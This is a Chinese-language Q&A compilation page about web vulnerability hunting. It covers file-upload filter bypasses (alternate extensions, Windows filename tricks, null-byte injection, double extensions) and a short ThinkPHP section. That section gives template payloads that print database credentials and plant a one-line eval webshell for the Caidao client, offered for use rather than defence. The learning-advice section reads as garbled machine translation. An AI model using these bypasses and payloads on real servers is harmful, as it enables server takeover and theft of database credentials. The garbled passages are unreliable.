本文目錄一覽:
文件上傳漏洞有哪些挖掘思路?
文件上傳漏洞作為獲取服務器權限最快的方式,雖然相關資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產生危害等還是比較模糊。本文作一些闡述,然後補充一些除了上傳webshell的其他非常規挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。
1、基礎知識:
要深入了解文件上傳,必須了解上傳屬性、常見文件的結構、圖形處理函數等內容。
1) 報文特點:
觀察文件上傳報文的特點:
Header中Content-Type特徵有二:
1.multipart/form-data(form表單的enctype屬性,規定為二進制數據)
2.boundary字符串(作用為分隔符,以區分POST數據)
POST內容特徵有五:
1.Content-Disposition:form-data
2. name:input表單名
3.filename:文件名
4.Content-Type:定義文件的類型和網頁的編碼,決定瀏覽器將以什麼形式、什麼編碼讀取這個文件;
5.boundary:Content-Type的值前面加了兩個—
2) 常見校驗規則
現存常用的上傳校驗規則無非下面幾類:
1.客戶端javascript校驗(後綴名)
2.文件頭content-type字段校驗(image/gif):附帶參數
4.後綴名黑/白名單校驗:擴展名
5.文件內容頭校驗:GIF89a
6.文件內容校驗:文件信息,二次渲染
7.自定義正則校驗
3)一個澄清
文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示“圖片無法顯示”;或者我們上傳的是jpg文件,但裡面混有shell腳本,若被解析為php文件也會執行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執行成功。
還是回到安全的本質,上傳是“輸入”,那文件解析就是“輸出”,任何漏洞挖掘都需要結合輸入+輸出。
2、繞過技巧:
這裡匯總一些實戰中較常用的繞過技巧:
1)後綴名黑名單
以下替換後綴也可以解析為shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系統的文件命名規則:
.php.,.php空格,.php:1.jpg,.php::$DATA等
這些後綴的文件會被windows系統自動去掉不符合規則符號後面的內容,從而只留下.php。
2)後綴名白名單
除了結合各種服務器解析特性,較常用的是Null Byte Injection空字節注入,插入空字節值的原因是某些應用程序服務器腳本語言使用c/c++庫來檢查文件名和內容。在C/C ++中,一行以/00結尾或稱為NullByte。因此,只要解釋器在字符串的末尾看到一個空字節,就會停止讀取,認為它已經到達字符串的末尾。
如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然後上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字符串視圖中找到文件名。查看相應的Hex表,並將41(’A’)替換為00(為空字節)。結果字符串變為Happy.php(空).jpeg。由於php解釋器在內部使用C語言庫,它將停止讀取Happy.php後的文件名,文件將保存為Happy.php。
另一種繞過白名單的方法是使用雙後綴:shell.php.jpg。
thinkphp 怎麼利用漏洞
1. 使用URL可以查看用戶的數據庫帳號密碼DB_NAME,DB_PASS,DB_HOST
{@print(THINK_VERSION)}
{@print(C(‘’))}
{@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法,猜測後台帳號密碼,當然首先要先猜一下用戶的表名了
{@var_dump(D(user)-select())}
3.直接執行一句話代碼,然後用菜刀直接連接.
{${eval($_POST[s])}} 一句話密碼:s
零基礎如何學習挖漏洞?
師傅領進門,修行在個人。
國內研究洞挖掘所謂的“地面”的習慣,吃各種各樣的編程書籍,然後研究挖洞,這個問題不是好學的編程控制的程度,和純首先學習編程也很無聊,很多人可能無法堅持。
編程打底
我們不打算學習編程技術,但主要是了解漏洞挖掘。我建議你先把編程放到底層,基礎的概念是:“掌握語言的基本語法,通用的功能,寫一些演示。”“如果您有一個基礎,您可以查看以前的漏洞分析文章,您會發現在這個過程中有一些困難,因此您可以遵循相關的編程技術。而不是僅僅啃着一本編程書。
學習方法
掌握基本的PHP語法,常用的PHP函數,並為常用的PHP函數編寫一些演示。然後開始看到PHP應用程序漏洞分析,開始出現一些基本的漏洞,如簡單的純get、post no intval或SQL注入的強制,看看我們以前做過的這些基本的事情。
漏洞利用
讓我們來看看一些更高級的漏洞,比如各種可變覆蓋漏洞,例如由unserialize引起的代碼執行,我們可能會發現很難開始查看這些漏洞。然後你需要回過頭來看看提取和其他函數的具體用法。
每一對$_REQUEST的變量生成過程是什麼?unserialize函數的執行流程是什麼?然後去看以前的技術文章將會是開明的。
這只是一個基本的PHP漏洞挖掘,然後熟練地嘗試查看一些漏洞分析框架,比如thinkphp,這些也涉及OOP的知識,所以回到學習PHP OOP編程,然後繼續。
總結
所以我認為還是先好好學習好語言,然後再學其他的會更紮實。
如何查找php文件包含漏洞的方法
找360或安全聯盟檢測接口, 免費的。
主要是查上傳漏洞。可以百度下,夠學習一段時間的。
原創文章,作者:SKJC,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/141737.html